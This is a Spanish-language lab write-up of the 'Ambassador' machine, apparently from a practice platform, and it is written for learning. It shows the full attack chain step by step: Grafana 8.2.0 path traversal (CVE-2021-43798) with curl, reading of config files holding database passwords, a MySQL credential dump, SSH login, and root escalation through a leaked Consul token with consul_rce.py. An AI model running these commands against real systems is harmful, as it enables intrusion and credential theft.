Writeup: Ambassador

Zharaman

January 3, 2025

Contents

1 Reconocimiento

1.1 Escaneo de Puertos

Para identificar los servicios expuestos en el objetivo, utilizamos un script personalizado basado en `nmap`, el cual realiza un escaneo inicial de todos los puertos y posteriormente un escaneo detallado sobre los puertos abiertos.

El comando utilizado para el escaneo detallado fue:

```
sudo nmap -sC -sV -p22,80,3000,3306 -oN nmap_results/service_scan.txt 10.10.11.183
```

Los resultados obtenidos fueron:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  http    HTTP (posiblemente un panel de login)
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
```

1.2 Análisis de Servicios Detectados

A continuación, se detalla la información de los servicios encontrados:

- **Puerto 22 (SSH):**
  - Servicio: OpenSSH 8.2p1
  - Sistema operativo: Ubuntu Linux
  - Observación: Es un servicio seguro para acceso remoto. Podría ser ŏ0fatil si se obtienen credenciales válidas.
- **Puerto 80 (HTTP):** El puerto 80 presenta un servidor web con el título **Ambassador Development Server**. A continuación, se resumen los elementos destacados:
  - **Página Principal:**
    - **Título:** *Ambassador Development Server*.
    - **Contenido:** Muestra un mensaje de bienvenida que indica que este servidor proporciona un entorno de desarrollo para los desarrolladores de Ambassador.

- **Post Reciente:**
  - **Título del Post:** *Welcome to the Ambassador Development Server.*
  - **Fecha:** 10 de marzo de 2022.
  - **Contenido:**
    - Informa que para conectarse a la máquina, los desarrolladores deben usar la cuenta `developer` para SSH.
    - DevOps proporcionará la contraseña.

  Este contenido sugiere la posible existencia de credenciales válidas para el acceso SSH. En consecuencia, la enumeración adicional en este servicio se centrará en identificar:

  - Archivos sensibles.
  - Rutas ocultas.
  - Vulnerabilidades explotables.

- **Puerto 3000 (Grafana):** El puerto 3000 aloja un panel de inicio de sesión de **Grafana**, una plataforma de análisis y monitoreo. La interfaz identifica que se trata de la versión **8.2.0**, como se indica en la esquina inferior derecha del panel.

  - **Servicio Detectado:** Grafana 8.2.0
  - **URL:** `http://10.10.11.183:3000`
  - **Observaciones:**
    - La versión 8.2.0 de Grafana es conocida por una vulnerabilidad de **Local File Inclusion (LFI)** documentada en Exploit-DB (ID: 50581).
    - Esta vulnerabilidad permite a los atacantes leer archivos arbitrarios en el servidor, incluyendo:
      - Configuraciones críticas.
      - Credenciales almacenadas.

- **Próximos Pasos:** Para explotar esta vulnerabilidad, se utilizará el exploit documentado en Exploit-DB. El enfoque será acceder a archivos sensibles en el servidor, comenzando con:

  - `/etc/passwd`: para identificar usuarios del sistema.
  - Configuraciones de Grafana: en busca de credenciales administrativas y configuraciones clave.

- **Puerto 3306 (MySQL):**
  - Servicio: MySQL 8.0.30
  - Observación: Este servicio puede contener información sensible, como credenciales, si se logra acceso con privilegios.

1.3 Explotación del Puerto 3000: Vulnerabilidad LFI en Grafana

Aprovechando la vulnerabilidad de Local File Inclusion (LFI) presente en el plugin `alertlist` de Grafana versión 8.2.0, logramos acceder al archivo de configuración `grafana.ini`. Esta versión de Grafana es vulnerable al CVE-2021-43798, una vulnerabilidad conocida que permite a los atacantes no autenticados leer archivos arbitrarios en el servidor debido a una mala validación de rutas.

El archivo `grafana.ini` es conocido por contener configuraciones críticas, incluidas credenciales administrativas, como se detalla en la documentación oficial de Grafana (`https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/`).

A continuación, procederemos a explotar esta vulnerabilidad para acceder a información sensible en el servidor. .

Comando Utilizado

El siguiente comando `curl` fue utilizado para explotar la vulnerabilidad y listar el archivo de configuración:

curl –path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini -o grafana$_{c}onfig.ini$

Resultado

El archivo `grafana.ini` fue descargado exitosamente y contenía información sensible, incluyendo las credenciales del administrador:

```
[security]
admin_user = admin
admin_password = messageInABottle685427
```

Impacto

El acceso al archivo permitió recuperar las siguientes credenciales administrativas:

- **Usuario:** `admin`
- **Contraseña:** `messageInABottle685427`

Estas credenciales permiten iniciar sesión en el panel de Grafana alojado en el puerto `3000`, habilitando el acceso a la interfaz administrativa.

Paso 2: Enumeración de Configuraciones de *Data Sources*

Dentro del panel de Grafana, en la sección *Data Sources*, se detectó una configuración activa que conecta a una base de datos MySQL. Los detalles relevantes son los siguientes:

- **Nombre:** `mysql.yaml`
- **Host:** `localhost:3306`
- **Base de Datos:** `grafana`
- **Usuario:** `grafana`

Paso 3: Próximos Pasos

Con esta información, seguiremos las recomendaciones de la documentación oficial de Grafana (`https://grafana.com/docs/grafana/latest/administration/provisioning/#data-sources`) para localizar archivos relacionados con la provisión de data sources. Nos enfocaremos en el archivo:

- `/etc/grafana/provisioning/datasources/mysql.yaml`

  Este archivo puede contener credenciales adicionales o información para conectarse directamente a la base de datos MySQL y extraer datos sensibles.

1.4 Impacto

El descubrimiento de estas configuraciones representa un vector claro para obtener acceso a la base de datos subyacente, lo que puede permitir enumerar tablas, credenciales y datos adicionales almacenados en el sistema.

1.5 Explotación del Archivo `mysql.yaml`

Tras investigar más rutas relacionadas con la configuración de Grafana, localizamos el archivo `mysql.yaml` utilizando la vulnerabilidad de Local File Inclusion (LFI) en el plugin `alertlist`. Este archivo contiene información sensible sobre la conexión a la base de datos MySQL.

Comando Utilizado

El archivo fue extraído utilizando el siguiente comando:
curl –path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml

Contenido del Archivo

El contenido del archivo `mysql.yaml` es el siguiente:

```
apiVersion: 1
datasources:
- name: mysql.yaml
  type: mysql
  host: localhost
  database: grafana
  user: grafana
  password: dontStandSoCloseToMe63221!
  editable: false
```

Impacto

El archivo proporciona las credenciales necesarias para establecer una conexión directa con la base de datos MySQL. Los detalles obtenidos son los siguientes:

- **Usuario:** `grafana`
- **Contraseña:** `dontStandSoCloseToMe63221!`
- **Host:** `localhost:3306`
- **Base de Datos:** `grafana`

Estas credenciales permiten acceso total a la base de datos `grafana`, lo que puede ser aprovechado para enumerar tablas y extraer datos sensibles.

Comando de Conexión

Para conectarse a la base de datos, se utilizó el siguiente comando:

```
mysql -h localhost -u grafana -p grafana
# Contraseña: dontStandSoCloseToMe63221!
```

1.6 Enumeración de la Base de Datos MySQL

Tras conectarnos a la base de datos MySQL utilizando las credenciales obtenidas, realizamos una enumeración de las bases de datos y tablas disponibles. A continuación, se detallan los resultados.

Bases de Datos Disponibles

El comando ejecutado para listar las bases de datos fue:

```
SHOW DATABASES;
```

Los resultados fueron:

```
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
```

Entre estas bases de datos, la más relevante para nuestra explotación fue `whackywidget`.

Tablas en la Base de Datos `whackywidget`

Una vez conectados a la base de datos `whackywidget`, ejecutamos el siguiente comando para listar las tablas disponibles:

```
USE whackywidget;
SHOW TABLES;
```

El resultado fue:

```
+-------------------------+
| Tables_in_whackywidget  |
+-------------------------+
| users                   |
+-------------------------+
```

Contenido de la Tabla `users`

Posteriormente, consultamos el contenido de la tabla `users` utilizando el siguiente comando:

```
SELECT * FROM users;
```

El resultado obtenido fue:

```
+----------+------------------------------------------+
| user     | pass                                     |
+----------+------------------------------------------+
| developer | YW5fbmdsaXNoTWFuSW5OZXdzb3JrMDI3NDY4Cg== |
+----------+------------------------------------------+
```

Observaciones

El campo `pass` contiene una cadena codificada en Base64. Procedimos a decodificarla para obtener la contraseña en texto plano, como se muestra en la siguiente sección.

Impacto

La columna `pass` contiene un valor codificado en Base64. Tras decodificarlo, obtenemos la contraseña correspondiente al usuario `developer`. El comando utilizado para la decodificación es el siguiente:

```
echo "YW5fbmdsaXNoTWFuSW5OZXdzb3JrMDI3NDY4Cg==" | base64 -d
```

El resultado de la decodificación es:

Usuario: `developer`

Contraseña: `an_englishManInNewYork027468`

Próximos Pasos

Utilizaremos estas credenciales para intentar autenticarnos en servicios adicionales, como SSH, para continuar con la explotación del sistema.

Acceso al Sistema como `developer`

Con las credenciales obtenidas:
Usuario: `developer`
Contraseña: `an_englishManInNewYork027468`
Logramos autenticarnos en el servicio SSH y obtener acceso al sistema como el usuario `developer`.

Conexión SSH Exitosa

El comando utilizado para conectarse al sistema fue:
`ssh developer@10.10.11.183`
Contraseña: `an_englishManInNewYork027468`
Una vez dentro, verificamos la identidad del usuario y los permisos asociados:

- `whoami`
  Salida: developer
- `id`
  Salida: `uid=1000(developer) gid=1000(developer) groups=1000(developer)`

Exploración Inicial

Listamos los archivos en el directorio personal del usuario `developer` y encontramos la primera flag:

```
ls
Salida:
snap  user.txt
```

La flag `user.txt` está presente en este directorio y representa la primera etapa completa de la máquina.

La flag `user.txt` está presente en este directorio y representa la primera etapa completa de la máquina.

Conclusión

El acceso al sistema como `developer` marca un hito importante en nuestra explotación, validando la eficacia de la metodología empleada. Este avance nos permite interactuar directamente con el entorno objetivo y analizar su configuración interna, lo que consolida nuestro control inicial sobre el sistema comprometido.

2 Escalada de Privilegios: Descubrimiento y Explotación de Consul API

Durante la enumeración como usuario `developer`, descubrimos información clave en el sistema que nos permitió identificar y utilizar la API de Consul para escalar privilegios.

Exploración del Sistema

Al listar los archivos en el directorio personal de `developer`, encontramos un archivo `.gitconfig` que apuntaba a un directorio relacionado con un proyecto llamado `my-app`:

```
ls -la
# Salida:
# drwxr-xr-x 7 developer developer 4096 Mar 13 2022 .
```

```
# drwx------ 3 developer developer 4096 Mar 13 2022 ..
# -rw-r--r-- 1 developer developer 93 Sep 2 2022 .gitconfig
```

Esto nos llevó a investigar el directorio `/opt/my-app`, donde encontramos un repositorio de Git:

```
ls -la /opt/my-app
# Salida:
# drwxr-xr-x 5 root root 4096 Mar 13 2022 .
# drwxr-xr-x 4 root root 4096 Mar 13 2022 ..
# drwxr-xr-x 3 root root 4096 Mar 13 2022 whackywidget
```

Inspección del Repositorio Git

Para analizar el contenido del repositorio, utilizamos el comando `git log` para revisar los commits previos. Este comando nos permitió identificar un commit relevante que hacía referencia a un archivo llamado `put-config-in-consul.sh`.

El comando ejecutado fue:

git log

El resultado fue el siguiente:

```
commit 33a53ef9a207976d5ceceddc41a199558843bf3c
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script
```

Comando Utilizado

El comando ejecutado para analizar el contenido del commit fue:

```
git show 33a53ef9a207976d5ceceddc41a199558843bf3c
```

Salida del Comando

El análisis reveló la siguiente información en el script:

```
Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 \
whackywidget/db/mysql_pw $MYSQL_PASSWORD
```

Detalles Descubiertos

El token utilizado para interactuar con la API de Consul es el siguiente:

`bb03b43b-1d81-d62b-24b5-39540ee469b5`

Impacto

La información descubierta nos permite:

- Autenticarnos en la API de Consul utilizando el token `CONSUL_HTTP_TOKEN`.
- Ejecutar comandos que manipulen claves y valores dentro de Consul, como la configuración de contraseñas o ajustes críticos del sistema.
- Escalar privilegios utilizando comandos mal protegidos dentro del entorno Consul.

A continuación, se detallará cómo se utilizó este token para escalar privilegios dentro del sistema.
A continuación, se detallará cómo se utilizó este token para escalar privilegios dentro del sistema.

Explotación de Consul API

Con el token en mano, utilizamos el script `consul-rce` para interactuar con la API de Consul. Aplicamos el siguiente comando para modificar los permisos del binario `/bin/bash`:

```
python3 consul_rce.py
-th 127.0.0.1
-tp 8500
-ct bb03b43b-1d81-d62b-24b5-39540ee469b5
-c "chmod u+s /bin/bash"

python3 consul_rce.py -th 127.0.0.1 -tp 8500 \
-ct bb03b43b-1d81-d62b-24b5-39540ee469b5 \
-c "chmod u+s /bin/bash"
```

Resultados de la Explotación

Verificamos que el bit SUID fue aplicado correctamente al binario `/bin/bash`. Posteriormente, utilizamos este binario para obtener una shell con privilegios de `root`:

```
ls -l /bin/bash
Salida:
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash

bash -p
whoami
Salida:
root
```

Este proceso confirmó que la explotación fue exitosa, otorgándonos acceso completo al sistema con privilegios de `root`.

Conclusión

Este writeup refleja un proceso estructurado de aprendizaje y aplicación de técnicas avanzadas de seguridad, desde la enumeración inicial hasta la explotación exitosa de vulnerabilidades críticas. Durante el análisis, se evidenció la importancia de un enfoque metódico para detectar configuraciones inseguras, como la exposición de un token en los scripts de Consul.

A través de la explotación de la vulnerabilidad, se aprendió a interactuar con APIs de manera estratégica, aplicando herramientas como `consul-rce` y adaptando los comandos según las necesidades del entorno. La experiencia permitió no solo comprender cómo funcionan las configuraciones de seguridad mal implementadas, sino también cómo estas pueden convertirse en vectores de ataque efectivos.

El aprendizaje clave radica en la importancia de documentar cada etapa del proceso, desde el análisis inicial hasta la obtención de privilegios de `root`, permitiendo una comprensión clara de los pasos realizados. Además, el ejercicio destacó la relevancia de integrar conceptos teóricos con prácticas reales, consolidando habilidades en un entorno simulado que replica escenarios del mundo real.

Este proceso no solo demostró el impacto de la explotación de vulnerabilidades en sistemas mal configurados, sino que también reforzó la importancia

de seguir una metodología rigurosa, comprender herramientas avanzadas y abordar problemas de manera sistemática. En última instancia, este writeup se convierte en una herramienta valiosa tanto para demostrar conocimientos técnicos como para inspirar un aprendizaje continuo en el ámbito de la ciberseguridad.